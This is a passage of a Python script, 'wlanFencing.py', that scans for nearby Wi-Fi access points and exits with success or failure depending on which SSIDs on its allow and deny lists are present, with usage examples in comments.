# check if WLAN interface exists and is up, try to start if down
def prepare_interface(interface):
output = shell("cat /sys/class/net/{}/flags".format(interface))
if output:
# 0x1002 is down, 0x1003 is up
if "0x1003" in output.decode("utf-8"):
return True
else:
# try to start interface
print("interface is down - starting ...")
shell("ifconfig {} up".format(interface))
sleep(1)
return True
else:
# device does not exist
return False
# check if scanned aps_list does not contain any denylisted AP entries
def denylist_check(denylist, wlan_aps_list):
found_denied = False
for rule in denylist:
if set(rule).issubset(set(wlan_aps_list)):
found_denied = True
break
return found_denied
# check if scanned aps_list does contain any allowlisted AP entries
def allowlist_check(allowlist, wlan_aps_list):
found_allowed = False
for rule in allowlist:
if (rule[0] == "*") or set(rule).issubset(set(wlan_aps_list)):
found_allowed = True
break
return found_allowed
if __name__ == "__main__":
# ----------------------------------------------
## syntax examples for -a / -d
# ./wlanFencing.py -a "AP1" -a "AP2"
# --> AP1 or AP2
# ./wlanFencing.py -a "AP1" "AP2"
# --> AP1 and AP2
# ./wlanFencing.py -a "AP1" "AP2" -a "AP3"
# --> (AP1 and AP2) or AP3
# ----------------------------------------------
## real world examples
# continue if AP1 is present
# ./wlanFencing.py -a "AP1"
# continue if AP1 and AP2 are present
# ./wlanFencing.py -a "AP1" "AP2"
# continue if AP1 is absent
# ./wlanFencing.py -a "*" -d "AP1"
# continue if AP1 and AP2 are absent
# ./wlanFencing.py -a "*" -d "AP1" "AP2"
# ----------------------------------------------
parser = argparse.ArgumentParser(prog='wlan_fencing', description='check if WLAN APs are in the range')
parser.add_argument("-a", "--allow_ap", nargs="+", action='append', help="SSID(s) of the AP(s) that have to be present")
parser.add_argument("-d", "--deny_ap", nargs="+", action='append', help="SSID(s) of the AP(s) that have to be absent")
parser.add_argument("-t", "--timeout", help="exit(1) after 30 seconds", action="store_true")
args = parser.parse_args()
timeout = args.timeout
allowlist = args.allow_ap if (args.allow_ap) else []
denylist = args.deny_ap if (args.deny_ap) else []
print("Allow:", allowlist)
print("Deny:", denylist, "\n")
# default values
interface = "wlan0"
sleep_seconds = 2
max_tries = 15
iterations = 0
if not prepare_interface(interface):
print("WLAN interface does not exist or failed to start - stopping.")
exit(1)
while True:
wlan_aps_list = scan_aps(interface)
# wlan_aps_list contains at least one element
if len(wlan_aps_list) != 0:
print(wlan_aps_list)
if not denylist_check(denylist, wlan_aps_list):
print("[+] no bad device [+]\n")
if allowlist_check(allowlist, wlan_aps_list):
print("A device is found, no denylisted device found.")
exit(0)
# exit if waited longer than max_tries
if timeout and (iterations >= max_tries):
print("Max tries reached - stopping.")
exit(1)
sleep(sleep_seconds)
iterations += 1